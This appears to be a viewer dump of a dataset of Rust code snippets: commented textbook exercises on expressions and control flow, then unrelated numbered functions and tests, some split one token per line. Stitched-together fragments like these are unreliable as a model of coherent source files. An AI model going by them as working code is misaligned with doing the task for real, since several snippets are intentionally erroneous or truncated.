HttpStatus::ServerError
};
*/
/*
println!("Inside the vat, you see {}.",
match vat.contents {
Some(brain) => brain.desc(),
None => "nothing of interest"
});
*/
// 6.2
/*
let display_name = match post.author() {
Some(author) => author.name(),
None => {
let network_info = post.get_network_metadata()?;
let ip = network_info.client_address();
ip.to_string()
}
};
*/
/*
let msg = {
// let-declaration: semicolon is always required
let dandelion_control = puffball.open();
// expression + semicolon: method is called, return value dropped
dandelion_control.release_all_seeds(launch_codes);
// expression with no semicolon: method is called,
// return value stored in `msg`
dandelion_control.get_status()
}
*/
// 6.3
/*
loop {
work();
play();
; // <-- empty statement
}
*/
/*
* let name: type = expr;
*/
/*
let name;
if user.has_nickname() {
name = user.nickname();
} else {
name = generate_unique_name();
user.register(&name);
}
*/
/*
use std::io;
use std::cmp::Ordering;
fn show_files() -> io::Result<()> {
let mut v = vec![];
...
fn cmp_by_timestamp_then_name(a: &FileInfo, b: &FileInfo) -> Ordering {
a.timestamp.cmp(&b.timestamp)
.reverse()
.then(a.path.cmp(&b.path))
}
v.sort_by(cmp_by_timestamp_then_name);
}
*/
// 6.4
/*
if condition1 {
block1
} else if condition2 {
block2
} else {
block_n
}
*/
/*
match value {
pattern => expr,
...
}
*/
let code = 2;
match code {
0 => println!("OK"),
1 => println!("Wires Tangled"),
2 => println!("User Asleep"),
_ => println!("Unrecognized Error {}", code),
}
/*
match params.get("name") {
Some(name) => println!("Hello, {}!", name),
None => println!("Greetings, stranger.")
}
*/
/*
let score = match card.rank {
Jack => 10,
Queen = > 10,
Ace = 11
}; // error: nonexhaustive patterns
*/
/*
let suggested_pet =
if with_wings { Pet::Buzzard } else { Pet::Hyena }; //ok
let favorite_number =
if user.is_hobbit() { "eleventy-one" } else { 9 }; //error
let best_sports_team =
if is_hockey_season() { "Predators" }; // error
*/
/*
let suggested_per =
match favotites.elements {
Fire => Pet::RedPanda,
Air => Pet::Buffalo,
Water => Pet::Orca,
_ => None // error: incompatible types
}
*/
// 6.4.1
/*
if let pattern = expr {
block1
} else {
block2
}
match expr {
pattern => { block1 }
_ => { block2 }
*/
/*
if let Some(cookie) = request.session_cookie {
return restore_session(cookie);
}
if let Err(err) = present_cheesy_anti_robot_task() {
log_robot_attempt(err);
politely_accuse_user_of_being_a_robot();
} else {
session.mark_as_human();
}
*/
// 6.5 loop
/*
while condition {
block
}
while let pattern = expr {
block
}
loop {
block
}
for pattern in collection {
block
}
*/
for i in 0..20 {
println!("{}", i);
}
/*
let strings: Vec<String> = error_messages();
for s in strings { // each String is moved into s here
println!("{}", s);
} // ...and dropped here
println("{} error(s)", strings.len()); // error: use of moved value
*/
/*
for rs in &strings {
println!("String {:?} is at address {:p}.", *rs, rs); // ok
}
*/
/*
for rs in &mut strings { // tye type of rs is &mut String
rs.push('\n'); // add a newline to each string
}
*/
/*
for line in input_lines {
let trimmed = trim_comments_and_whitespac(line);
if trimmed.is_empty() {
continue;
}
...
}
*/
/*
'seach:
for room in apartment {
for stop in room.hiding_spots() {
if spot.contains(keys) {
println!("Your keys are {} in the {}.", spot, room);
break 'search;
}
}
}
*/
// 6.6 return
fn f() {
// return type omitted: default to ()
return; // return value comitted: default to ()
}
assert_eq!(f(), ());
/*
let output = File::create(filename)?;
let output = match File::create(filename) {
Ok(f) => f,
Err(err) => return Err(err)
};
*/
// 6.7
/*
fn wait_for_process(process: &mut Process) -> i32 {
while true {
if process.wait() {
return process.exit_code();
}
}
} // error: not all control paths return a value
*/
/*
fn serve_forever(socket: ServerSocket, handler: ServerHandler) -> ! {
socket.listen();
loop {
let s = socket.accept();
handler.handle(s);
}
}
*/
// 6.8
/*
let x = gcd(1302, 462); // function call
let room = player.location(); // method call
let mut numbers = Vec::new(); // static method call
Iron::new(router).http("localhost:3000").unwrap();
return Vec<i32>::with_capacity(1000); // error: something about chanined comparisons
let ramp = (0 .. n).collect<Vec<i32>>(); // same error
return Vec::<i32>::with_capacity(1000); // ok, using ::<
let ramp = (0 .. n).collect::<Vec<i32>>(); // ok, using ::<
return Vec::with_capacity(10); // ok, if the fn return type is Vec<i32>
let ramp: Vec<i32> = (0 .. n).collect(); // ok, variable's type is given
*/
// 6.9
/*
game.black_pawns // struct field
coords.1 // tuple element
pieces[i] // array element, they are lvalue
fn quicksort<T: Ord>(slice: &mut [T]) {
if slice.len() <= 1 {
return; // Nothing to sort.
}
// Partition the slice into two parts, front and back.
let pivot_index = partition(slice);
// Recursively sort the front half of `slice`.
quicksort(&mut slice[.. pivot_index]);
// And the back half.
quicksort(&mut slice[pivot_index + 1 ..]);
}
*/
// 6.10
/*
let padovan: Vec<u64> = compute_padovan_sequence(n);
for elem in &padovan {
draw_triangle(turtle, *elem);
}
*/
// 6.11
/*
println!("{}", -100); // -100
println!("{}", -100u32); // error: can't apply unary '-' to type 'u32'
println!("{}", +100); // error: expected expression, found '+'
let x = 1234.567 % 10.0; // approximetely 4.567
let hi: u8 = 0xe0;
let lo = !hi; // 0x1f
*/
// 6.12
/*
total += item.price;
// rust does not have increment operator and decrement operator.
*/
// 6.13
/*
let x = 17; // x is type i32
let index = x as usize; // convert to usize
*/
// 6.14
/*
let is_even = |x| x % 2 == 0;
let is_evan = |x: u64| -> bool x % 2 == 0; // error
*/
let is_even = |x: u64| -> bool { x % 2 == 0 }; // ok
assert_eq!(is_even(14), true);
}
| 66
|
pub fn file(file: PathBuf) -> Option<NamedFile> {
NamedFile::open(Path::new("public/").join(file)).ok()
}
| 67
|
fn doc_src(builder: &Builder<'_>) -> Interned<PathBuf> {
INTERNER.intern_path(builder.src.join("src/doc"))
}
| 68
|
pub fn debug_time<T>(label: impl AsRef<str>, cb: impl FnOnce() -> T) -> T {
let label = label.as_ref();
let t0 = std::time::Instant::now();
debug_log(format!("Starting {}...", label));
let ret = cb();
debug_log(format!("Finished {}: {:?}", label, t0.elapsed()));
return ret;
}
| 69
|
fn print_uint(x:uint) {
println!("{}",x);
}
| 70
|
pub async fn get_semaphored_connection<'a>() -> SemaphoredDbConnection<'a> {
let _semaphore_permit = semaphore().acquire().await.unwrap();
let connection = establish_connection();
SemaphoredDbConnection {
_semaphore_permit,
connection,
}
}
| 71
|
async fn get_historic_rates() {
let exchange = init().await;
let req = GetHistoricRatesRequest {
market_pair: "eth_btc".to_string(),
interval: Interval::OneHour,
paginator: None,
};
let resp = exchange.get_historic_rates(&req).await.unwrap();
println!("{:?}", resp);
}
| 72
|
pub fn test_nop() {
let buffer = fs::read("tests/programs/nop").unwrap().into();
let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["nop".into()]);
assert!(result.is_ok());
assert_eq!(result.unwrap(), 0);
}
| 73
|
pub fn write_u8<W>(wr: &mut W, val: u8) -> Result<(), ValueWriteError>
where W: Write
{
try!(write_marker(wr, Marker::U8));
write_data_u8(wr, val)
}
| 74
|
fn compression_tests<C, D>(compress: C, decompress: D, bytearray: bool)
where
C: Fn(&[u16]) -> ByteString,
D: Fn(ByteString) -> Option<ByteString>,
{
eprintln!("Check if it compresses and decompresses \"Hello world!\"");
let compressed = compress(&"Hello world!".encode_utf16().collect::<Vec<u16>>());
assert_ne!(compressed, "Hello world!");
let decompressed = decompress(compressed).expect("Valid Decompress");
assert_eq!(decompressed, "Hello world!");
/*
it('compresses and decompresses null', function() {
var compressed = compress(null);
if (uint8array_mode===false){
expect(compressed).toBe('');
expect(typeof compressed).toBe(typeof '');
} else { //uint8array
expect(compressed instanceof Uint8Array).toBe(true);
expect(compressed.length).toBe(0); //empty array
}
var decompressed = decompress(compressed);
expect(decompressed).toBe(null);
});
*/
/*
it('compresses and decompresses undefined', function() {
var compressed = compress();
if (uint8array_mode===false){
expect(compressed).toBe('');
expect(typeof compressed).toBe(typeof '');
} else { //uint8array
expect(compressed instanceof Uint8Array).toBe(true);
expect(compressed.length).toBe(0); //empty array
}
var decompressed = decompress(compressed);
expect(decompressed).toBe(null);
});
*/
/*
it('decompresses null', function() {
var decompressed = decompress(null);
expect(decompressed).toBe('');
});
*/
eprintln!("Check if it compresses and decompresses an empty string");
let compressed = compress(&"".encode_utf16().collect::<Vec<u16>>());
if !bytearray {
assert_ne!(compressed, "");
// expect(typeof compressed).toBe(typeof '');
} else {
// expect(compressed instanceof Uint8Array).toBe(true);
assert!(!compressed.is_empty());
}
let decompressed = decompress(compressed).expect("Valid Decompress");
assert_eq!(decompressed, "");
eprintln!("Check if it compresses and decompresses all printable UTF-16 characters");
let mut test_string = String::new();
for i in 32..127 {
test_string.push(std::char::from_u32(i).expect("Valid Char"));
}
for i in (128 + 32)..55296 {
test_string.push(std::char::from_u32(i).expect("Valid Char"));
}
for i in 63744..65536 {
test_string.push(std::char::from_u32(i).expect("Valid Char"));
}
let compressed = compress(&test_string.encode_utf16().collect::<Vec<u16>>());
assert_ne!(compressed, test_string.as_str());
let decompressed = decompress(compressed).expect("Valid Decompress");
assert_eq!(decompressed, test_string.as_str());
eprintln!("Check if it compresses and decompresses a string that repeats");
let test_string = "aaaaabaaaaacaaaaadaaaaaeaaaaa";
let compressed = compress(&test_string.encode_utf16().collect::<Vec<u16>>());
assert_ne!(compressed, test_string);
assert!(compressed.len() < test_string.len());
let decompressed = decompress(compressed).expect("Valid Decompress");
assert_eq!(decompressed, test_string);
eprintln!("Check if it compresses and decompresses a long string");
let mut test_string = String::new();
for _ in 0..1000 {
write!(&mut test_string, "{} ", rand::thread_rng().gen::<f64>())
.expect("write rand float to string")
}
let compressed = compress(&test_string.encode_utf16().collect::<Vec<u16>>());
assert_ne!(compressed, test_string.as_str());
assert!(compressed.len() < test_string.len());
let decompressed = decompress(compressed).expect("Valid Decompress");
assert_eq!(decompressed, test_string.as_str());
}
| 75
|
fn longest<'a>(x: &'a str, y: &'a str) -> &'a str {
if x.len() > y.len() {
x
} else {
y
}
}
| 76
|
fn calc_num_groups(core_count: usize, num_windows: usize) -> usize {
// Observations show that we get the best performance when num_groups * num_windows ~= 2 * CUDA_CORES
2 * core_count / num_windows
}
| 77
|
fn float_test() {
assert_eq!(5f32.sqrt() * 5f32.sqrt(), 5.);
assert_eq!((-1.01f64).floor(), -2.0);
assert!((-1. / std::f32::INFINITY).is_sign_negative());
}
| 78
|
fn read_input_configurations(confs: Vec<PathBuf>) -> (Vec<ComponentEntry>, Vec<ComponentEntry>) {
let mut configurations = Vec::new();
for path in confs {
match read_configuration(&path) {
Ok(conf) => configurations.push(conf),
Err(err) => eprintln!("{}", err),
}
}
eprint!("\n");
let current_dir = current_dir().unwrap_or(PathBuf::new());
let entries = configurations
.iter()
.map(|conf| ReadConf {
conf: None,
path: current_dir.join(&conf.path),
backup_conf: None,
description: conf.description.clone(),
volume_type: conf.volume_type.clone(),
})
.map(|conf| ComponentEntry::ConfigurationFile(conf))
.collect::<Vec<_>>();
let components = configurations
.into_iter()
.map(|conf| ComponentEntry::ConfigurationFile(conf))
.collect::<Vec<_>>();
(components, entries)
}
| 79
|
pub fn channel_put<T: Any + Clone>(target: CAddr, value: T) {
system_call_put_payload(SystemCall::ChannelPut {
request: (target, ChannelMessage::Payload)
}, value);
}
| 80
|
fn build_dev() {
let project = project("build_dev").with_fuzz().build();
// Create some targets.
project
.cargo_fuzz()
.arg("add")
.arg("build_dev_a")
.assert()
.success();
project
.cargo_fuzz()
.arg("add")
.arg("build_dev_b")
.assert()
.success();
// Build to ensure that the build directory is created and
// `fuzz_build_dir()` won't panic.
project
.cargo_fuzz()
.arg("build")
.arg("--dev")
.assert()
.success();
let build_dir = project.fuzz_build_dir().join("debug");
let a_bin = build_dir.join("build_dev_a");
let b_bin = build_dir.join("build_dev_b");
// Remove the files we just built.
fs::remove_file(&a_bin).unwrap();
fs::remove_file(&b_bin).unwrap();
assert!(!a_bin.is_file());
assert!(!b_bin.is_file());
// Test that building all fuzz targets does in fact recreate the files.
project
.cargo_fuzz()
.arg("build")
.arg("--dev")
.assert()
.success();
assert!(a_bin.is_file());
assert!(b_bin.is_file());
}
| 81
|
pub fn number(n: i64) -> Value {
Rc::new(RefCell::new(V {
val: Value_::Number(n),
computed: true,
}))
}
| 82
|
fn init_servo(robot: &mut Robot) {
let servos = ServoManager::new();
let m2 = servos[0xFE].reboot();
for b in m2 {
block!(robot.servo_tx.write(b)).unwrap();
}
for _ in 0..5 {
robot.delay.delay_ms(70 as u32);
}
let m2 = servos[0xFE].ram_write(WritableRamAddr::AckPolicy(2));
for b in m2 {
block!(robot.servo_tx.write(b)).unwrap();
}
let m1 = servos[0xFE].enable_torque();
for b in m1 {
block!(robot.servo_tx.write(b)).unwrap();
}
}
| 83
|
fn
test_empty_blob
(
)
-
>
Result
<
(
)
>
{
let
db
=
checked_memory_handle
(
)
?
;
let
empty
=
vec
!
[
]
;
db
.
execute
(
"
INSERT
INTO
foo
(
b
)
VALUES
(
?
1
)
"
[
&
empty
]
)
?
;
let
v
:
Vec
<
u8
>
=
db
.
one_column
(
"
SELECT
b
FROM
foo
"
)
?
;
assert_eq
!
(
v
empty
)
;
Ok
(
(
)
)
}
| 84
|
pub fn main() {
let opts = TileOptions {
parent_x: 108,
parent_y: 54,
width: 10,
height: 10,
max_value: 10.0,
min_value: 0.0,
mean: 5.0,
std_dev: 2.0,
};
let t = NormalDistTile::new(opts);
println!(" {:?}", t.subtiles);
println!("{}", t.get(0, 0));
println!("{}", t.get(1, 0));
println!("{}", t.get(2, 0));
println!("{}", t.get(3, 0));
println!("{}", t.get(0, 5));
println!("{}", t.get(1, 5));
println!("{}", t.get(2, 5));
println!("{}", t.get(3, 5));
println!("{}", t.get((t.width - 4) as u8, (t.height - 1) as u8));
println!("{}", t.get((t.width - 3) as u8, (t.height - 1) as u8));
println!("{}", t.get((t.width - 2) as u8, (t.height - 1) as u8));
println!("{}", t.get((t.width - 1) as u8, (t.height - 1) as u8));
}
| 85
|
pub fn toeic_to_words_vec() -> Vec<Words> {
let col: Col2<Vec<String>, Vec<String>> = Col2::read_csv("word/toeic_327.csv", ',').expect("Can't read csv");
let words = col.c1();
let means = col.c2();
let mut word_vec: Vec<Word> = Vec::new();
for i in 0 .. words.len() {
let word = Word::new(words[i].clone(), means[i].clone());
word_vec.push(word);
}
word_vec.shuffle(&mut thread_rng());
let mut words_vec: Vec<Words> = Vec::new();
let mut word_iter = word_vec.into_iter();
for i in 30 .. 38 {
let mut w_vec: Vec<Word> = Vec::new();
for _j in 0 .. 40 {
w_vec.push(word_iter.next().unwrap());
}
let ws = Words::new(i, w_vec);
words_vec.push(ws);
}
let w_vec = word_iter.collect::<Vec<Word>>();
let ws = Words::new(38, w_vec);
words_vec.push(ws);
words_vec
}
| 86
|
pub fn test_ebreak() {
let buffer = fs::read("tests/programs/ebreak64").unwrap().into();
let value = Arc::new(AtomicU8::new(0));
let core_machine =
DefaultCoreMachine::<u64, SparseMemory<u64>>::new(ISA_IMC, VERSION0, u64::max_value());
let mut machine = DefaultMachineBuilder::new(core_machine)
.debugger(Box::new(CustomDebugger {
value: Arc::clone(&value),
}))
.build();
machine
.load_program(&buffer, &vec!["ebreak".into()])
.unwrap();
assert_eq!(value.load(Ordering::Relaxed), 1);
let result = machine.run();
assert!(result.is_ok());
assert_eq!(value.load(Ordering::Relaxed), 2);
}
| 87
|
fn is_flatten(rule: &Option<SerdeValue>) -> bool {
rule.as_ref().map(|value| value.flatten).unwrap_or(false)
}
| 88
|
fn
test_blob
(
)
-
>
Result
<
(
)
>
{
let
db
=
checked_memory_handle
(
)
?
;
let
v1234
=
vec
!
[
1u8
2
3
4
]
;
db
.
execute
(
"
INSERT
INTO
foo
(
b
)
VALUES
(
?
1
)
"
[
&
v1234
]
)
?
;
let
v
:
Vec
<
u8
>
=
db
.
one_column
(
"
SELECT
b
FROM
foo
"
)
?
;
assert_eq
!
(
v
v1234
)
;
Ok
(
(
)
)
}
| 89
|
fn run_alt_corpus() {
let corpus = Path::new("fuzz").join("corpus").join("run_alt");
let alt_corpus = Path::new("fuzz").join("alt-corpus").join("run_alt");
let project = project("run_alt_corpus")
.with_fuzz()
.fuzz_target(
"run_alt",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
assert!(data.len() <= 1);
});
"#,
)
.file(corpus.join("fail"), "fail")
.file(alt_corpus.join("pass-0"), "0")
.file(alt_corpus.join("pass-1"), "1")
.file(alt_corpus.join("pass-2"), "2")
.build();
project
.cargo_fuzz()
.arg("run")
.arg("run_alt")
.arg(&alt_corpus)
.arg("--")
.arg("-runs=0")
.assert()
.stderr(
predicate::str::contains("3 files found in fuzz/alt-corpus/run_alt")
.and(predicate::str::contains("fuzz/corpus/run_alt").not())
// libFuzzer will always test the empty input, so the number of
// runs performed is always one more than the number of files in
// the corpus.
.and(predicate::str::contains("Done 4 runs in")),
)
.success();
}
| 90
|
fn get_expected() -> GuraType {
object! {
plain: 5,
in_array_middle: [1, 5, 3],
in_array_last: [1, 2, 5],
in_object: {
name: "Aníbal",
surname: "Troilo",
year_of_birth: 1914
}
}
}
| 91
|
fn is_uppercase(string: &str) -> bool {
(string.clone().to_ascii_uppercase() == string)
&& (string != string.clone().to_ascii_lowercase())
}
| 92
|
async fn main() {
env::set_var("RUST_LOG", "warp_server");
env_logger::init();
let log = warp::log("warp_server");
let homepage = warp::path::end().map(|| {
Response::builder()
.header("content-type", "text/html")
.body(
"<html><h1>juniper_warp</h1><div>visit <a href=\"/playground\">/playground</a></html>"
.to_string(),
)
});
log::info!("Listening on 127.0.0.1:8080");
let state = warp::any().map(move || Context {});
let graphql_filter = juniper_warp::make_graphql_filter(schema(), state.boxed());
warp::serve(
warp::get()
.and(warp::path("playground"))
.and(juniper_warp::playground_filter("/graphql", None))
.or(homepage)
.or(warp::path("graphql").and(graphql_filter))
.with(log),
)
.run(([127, 0, 0, 1], 8080))
.await
}
| 93
|
pub extern "x86-interrupt" fn NMI() { CommonExceptionHandler( 2); }
| 94
|
fn make_str(body:String)->String {
let head = String::from(r#"
#ifdef __cplusplus
extern "C" {
#endif "#);
let tail = String::from(r#"
#ifdef __cplusplus
}
#endif
"#);
return head + &body + &tail;
}
| 95
|
pub fn assert_arguments<D: Display>(name: D, actual: usize, expected: usize) -> Result<()> {
if actual != expected {
return Err(ErrorCode::NumberArgumentsNotMatch(format!(
"{} expect to have {} arguments, but got {}",
name, expected, actual
)));
}
Ok(())
}
| 96
|
pub fn hit_tile_contents(
ecs: &mut World,
pt: Point,
layer: u32,
commands: &mut CommandBuffer,
splatter: &mut Option<RGB>,
power: i32,
) -> i32 {
let mut rng_lock = crate::RNG.lock();
let rng = rng_lock.as_mut().unwrap();
let mut power_loss = 0;
let mut dead_entities = Vec::new();
<(Entity, &Position, &mut Health)>::query()
.iter_mut(ecs)
.filter(|(_, pos, _)| pos.layer == layer && pos.pt == pt)
.for_each(|(entity, _, hp)| {
power_loss += hp.current;
if power_loss < 0 {
power_loss = 0;
}
let damage = i32::max(0, power + rng.roll_dice(1, 4) - 2);
//println!("{}", damage);
hp.current -= damage;
if hp.current < 0 {
hp.current = 0;
dead_entities.push(*entity);
}
});
dead_entities.iter().for_each(|e| {
if let Ok(er) = ecs.entry_ref(*e) {
if let Ok(boom) = er.get_component::<Explosive>() {
if let Ok(pos) = er.get_component::<Position>() {
commands.push((
Position::with_pt(pos.pt, pos.layer),
Boom { range: boom.range },
));
}
}
}
});
kill_things(ecs, commands, dead_entities, splatter);
power_loss
}
| 97
|
fn test_invalid_variable() {
let parsed_data = parse(&"$invalid: true");
assert!(parsed_data
.unwrap_err()
.downcast_ref::<ParseError>()
.is_some());
}
| 98
|
pub fn checksum(input: &[u8]) -> Result<u16, LayerError> {
let mut sum = 0x00;
let mut chunks_iter = input.chunks_exact(2);
while let Some(chunk) = chunks_iter.next() {
sum += u32::from(u16::from_be_bytes(
chunk.try_into().expect("chunks of 2 bytes"),
));
}
if let [rem] = chunks_iter.remainder() {
sum += u32::from(u16::from_be_bytes([*rem, 0x00]));
}
let carry_add = (sum & 0xffff) + (sum >> 16);
let chksum = !(((carry_add & 0xffff) + (carry_add >> 16)) as u16);
Ok(chksum)
}
| 99
|
End of preview. Expand
in Data Studio
README.md exists but content is empty.
- Downloads last month
- 1